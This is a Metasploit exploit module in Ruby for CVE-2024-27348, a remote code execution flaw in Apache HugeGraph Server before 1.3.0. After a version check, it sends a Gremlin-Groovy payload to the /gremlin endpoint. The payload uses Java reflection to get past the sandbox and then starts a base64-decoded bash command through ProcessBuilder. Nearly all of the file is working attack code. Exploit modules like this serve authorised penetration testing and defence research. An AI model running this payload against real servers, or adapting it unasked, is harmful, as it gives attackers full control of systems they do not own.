##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache HugeGraph Gremlin RCE',
        'Description' => %q{
          This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in
          Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve
          RCE through Gremlin, resulting in complete control over the server
        },
        'Author' => [
          '6right', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'],
          [ 'CVE', '2024-27348']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux],
        'Privileged' => true,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-04-22',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET'
    })

    return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res
    return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200

    version = res.get_json_document&.dig('version')
    return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version

    if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))
      return CheckCode::Appears("Apache HugeGraph version detected: #{version}")
    end

    CheckCode::Safe("Apache HugeGraph version detected: #{version}")
  end

  def exploit
    print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")

    class_name = rand_text_alpha(4..12)
    thread_name = rand_text_alpha(4..12)
    command_name = rand_text_alpha(4..12)
    process_builder_name = rand_text_alpha(4..12)
    start_method_name = rand_text_alpha(4..12)
    constructor_name = rand_text_alpha(4..12)
    field_name = rand_text_alpha(4..12)

    java_payload = <<~PAYLOAD
      Thread #{thread_name} = Thread.currentThread();
      Class #{class_name} = Class.forName(\"java.lang.Thread\");
      java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");
      #{field_name}.setAccessible(true);
      #{field_name}.set(#{thread_name}, \"#{thread_name}\");
      Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");
      java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);
      java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});
      Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});
      java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");
      #{start_method_name}.invoke(#{process_builder_name});
    PAYLOAD

    data = {
      'gremlin' => java_payload,
      'bindings' => {},
      'language' => 'gremlin-groovy',
      'aliases' => {}
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/gremlin'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => data.to_json
    })

    print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200
  end
end
